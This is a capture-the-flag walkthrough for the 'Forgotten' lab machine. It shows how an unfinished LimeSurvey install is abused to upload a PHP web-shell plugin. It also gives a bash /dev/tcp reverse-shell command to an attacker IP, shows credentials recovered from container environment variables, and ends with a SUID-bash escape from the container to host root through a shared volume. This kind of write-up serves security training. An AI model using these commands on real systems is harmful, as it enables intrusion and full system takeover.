Overview

Forgotten is an easy Linux machine that begins with an unfinished LimeSurvey installation. By supplying a database under our control, we can complete the setup, create an administrator account, and upload a malicious PHP plugin for remote code execution inside a Docker container.

Environment variables inside the container disclose credentials that are reused by the limesvc account on the host. The final escalation abuses a web directory shared between the container and host: root access inside the container is used to place a SUID-enabled copy of bash in the mounted directory, which can then be executed from the host for root access.

Attack Chain

  • Enumerate SSH and HTTP on ports 22 and 80
  • Discover the unfinished LimeSurvey installer under /survey
  • Host a temporary MySQL database from the attacking machine
  • Complete the LimeSurvey installation and create an administrator account
  • Upload a malicious LimeSurvey plugin containing a PHP web shell
  • Gain command execution and a reverse shell inside the Docker container
  • Recover limesvc credentials from container environment variables
  • Use the credentials to become root inside the container
  • Reuse the same credentials to access the host over SSH
  • Identify the web directory as a volume shared between the container and host
  • Create a SUID-enabled copy of bash in the shared directory
  • Execute the SUID binary from the host and obtain root

Enumeration

Port Scanning

We begin by defining the target and running a full TCP port scan.

export IP=10.129.2.135
export NAME=FORGOTTEN

echo $IP
echo $NAME
ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -Pn -n -p- -v -oA scans/nmap_allports_$NAME

The discovered ports are extracted into a variable for the follow-up scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
echo $ports

Only two TCP ports are open:

22,80

We run the default scripts and service-version detection against those ports.

nmap $IP -p$ports -Pn --disable-arp-ping -sC -sV -oA scans/nmap_initial_$NAME -v

nmap results

Findings

The exposed services are limited to SSH (22) and HTTP (80). Without credentials for SSH, the web application is the most likely entry point.


Web Enumeration

HTTP on Port 80

Browsing to the root of the web server returns 403 Forbidden.

http forbidden response

Since directory listing is blocked, we enumerate common paths with dirsearch.

export PORT=80

dirsearch -u http://$IP:$PORT \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt \
  -t 100 \
  -o ./scans/dirsearch_${NAME}_${PORT}_common.txt

The scan discovers a single useful endpoint: /survey.

dirsearch survey endpoint

LimeSurvey Installer

Navigating to /survey redirects us to an unfinished LimeSurvey installation wizard.

limesurvey installer

The installer first presents its licence and prerequisite checks.

limesurvey licence

limesurvey prerequisites

The database configuration step requires a working database before the installation can continue. We initially attempt to use the following database name and credentials:

test:Pass1234
Database: testdb

limesurvey database configuration

The installer accepts the connection details and attempts to connect to the supplied database service.

limesurvey database connection

The first attempt is unsuccessful because no suitable database is available.

limesurvey database failure


Foothold

Hosting a MySQL Database

Instead of relying on a database hosted by the target, we can run a temporary MySQL instance on the attacking machine and provide those connection details to LimeSurvey.

First, pull the MySQL Docker image.

sudo docker pull mysql

docker pull mysql

Run the container and expose MySQL on TCP port 3306.

sudo docker run \
  -p 3306:3306 \
  --rm \
  --name tmp-mysql \
  -e MYSQL_ROOT_PASSWORD=password \
  mysql:latest

The startup output confirms that the database container is being initialized.

mysql container startup

In another terminal, verify that port 3306 is listening.

ss -ntplu

mysql port listening

Completing the LimeSurvey Installation

We return to the installer and repeat the database configuration, this time pointing the database host to our attacking machine.

remote mysql configuration

The installer reports that the requested database does not yet exist and provides an option to create it.

create database prompt

The database is created successfully, allowing the installer to populate it with the required LimeSurvey tables.

database created

We then configure the LimeSurvey administrator account and set its password to Pass1234.

limesurvey admin configuration

The installation completes successfully. We proceed to the administration interface.

limesurvey installation complete

Authenticate with the administrator account created during setup.

admin:Pass1234

limesurvey admin login

We now have administrative access to LimeSurvey.

limesurvey administration dashboard

Creating a Malicious LimeSurvey Plugin

LimeSurvey administrators can upload plugins as ZIP archives. We can abuse this functionality by creating a plugin containing a PHP web shell and a valid config.xml file.

The plugin configuration is based on the following example:

Sample LimeSurvey plugin configuration

We change the plugin name to webshell while retaining the required metadata and compatibility fields.

<?xml version="1.0" encoding="UTF-8"?>
<config>
    <metadata>
        <name>webshell</name>
        <type>plugin</type>
        <creationDate>2014-05-27</creationDate>
        <lastUpdate>2024-02-09</lastUpdate>
        <author>Denis Chenu</author>
        <authorUrl>https://www.sondages.pro</authorUrl>
        <version>3.0.0</version>
        <license>GNU General Public License</license>
        <description><![CDATA[Example plugin showing all settings]]></description>
    </metadata>

    <compatibility>
        <version>3</version>
        <version>4</version>
        <version>5</version>
        <version>6</version>
    </compatibility>

    <updaters disabled="disabled">
    </updaters>
</config>

We place config.xml and the wwwolf-php-webshell file in the plugin directory and package them as a ZIP archive.

webshell plugin files

The malicious plugin archive is ready for upload.

webshell plugin archive

From the LimeSurvey administration interface, open the plugin manager.

limesurvey plugin manager

Upload the malicious ZIP archive.

upload malicious plugin

The plugin is accepted and extracted by the application.

plugin upload success

The new webshell plugin is now visible in LimeSurvey.

webshell plugin installed

PHP Web Shell

The plugin files are stored beneath LimeSurvey’s upload directory. We can access the PHP web shell directly at:

/survey/upload/plugins/webshell/webshell.php

Command execution works successfully.

php webshell command execution

Reverse Shell

Start a penelope listener on port 443, then execute a Bash reverse shell through the web shell.

bash -c 'bash -i >& /dev/tcp/10.10.14.23/443 0>&1'

The callback provides an interactive shell.

reverse shell callback

The shell runs as limesvc. The hostname and network configuration show that command execution is inside a Docker container rather than directly on the host.

container shell enumeration


Lateral Movement

Environment Variable Credentials

Environment variables are commonly used to pass configuration values and secrets into containers. Running env reveals credentials for the LimeSurvey service account.

env

The relevant values are:

LIMESURVEY_ADMIN=limesvc
LIMESURVEY_PASS=5W5HN4K4GCXf9E

container environment credentials

This gives us the following credentials:

limesvc:5W5HN4K4GCXf9E

Root Inside the Container

The password works with sudo, allowing us to become root inside the container.

sudo su

container root access

SSH Access to the Host

We test the same credentials against the SSH service on the main target.

ssh limesvc@$IP

The password is reused on the host and authentication succeeds.

ssh authentication

We now have an interactive host session as limesvc.

limesvc host shell

The user flag can be read from the account’s home directory.

cat ~/user.txt

user flag


Privilege Escalation

Identifying the Shared Web Directory

On the host, /opt/limesurvey contains the LimeSurvey application files.

host limesurvey directory

Inside the container, /var/www/html/survey contains the same structure.

container limesurvey directory

This indicates that the application directory is mounted into the container from the host. Because we are root inside the container, we can create or modify files in the shared directory and have those changes appear on the host.

Creating a SUID Bash Binary

From the root shell inside the container, copy bash into the shared LimeSurvey directory and set the owner SUID bit.

cp /bin/bash /var/www/html/survey/bash_suid
chmod u+s /var/www/html/survey/bash_suid

create suid bash in container

Back in the host SSH session, the new binary is visible in /opt/limesurvey with the SUID bit set.

suid bash visible on host

Execute the binary with -p so Bash preserves the effective user ID granted by the SUID permission.

./bash_suid -p

The shell now has an effective user ID of root.

root shell through suid bash

The root flag can now be read.

cat /root/root.txt

root flag


Key Takeaways

Forgotten demonstrates how an unfinished installation process can become a complete compromise path. Allowing users to supply an external database made it possible to finish the LimeSurvey setup and create a controlled administrator account. Administrative plugin upload then provided code execution inside the application container.

The container boundary did not provide meaningful protection because credentials were exposed through environment variables and reused on the host. Root access inside the container became host root through a shared writable volume, where a SUID-enabled Bash binary created in the container could be executed directly by the low-privileged host user.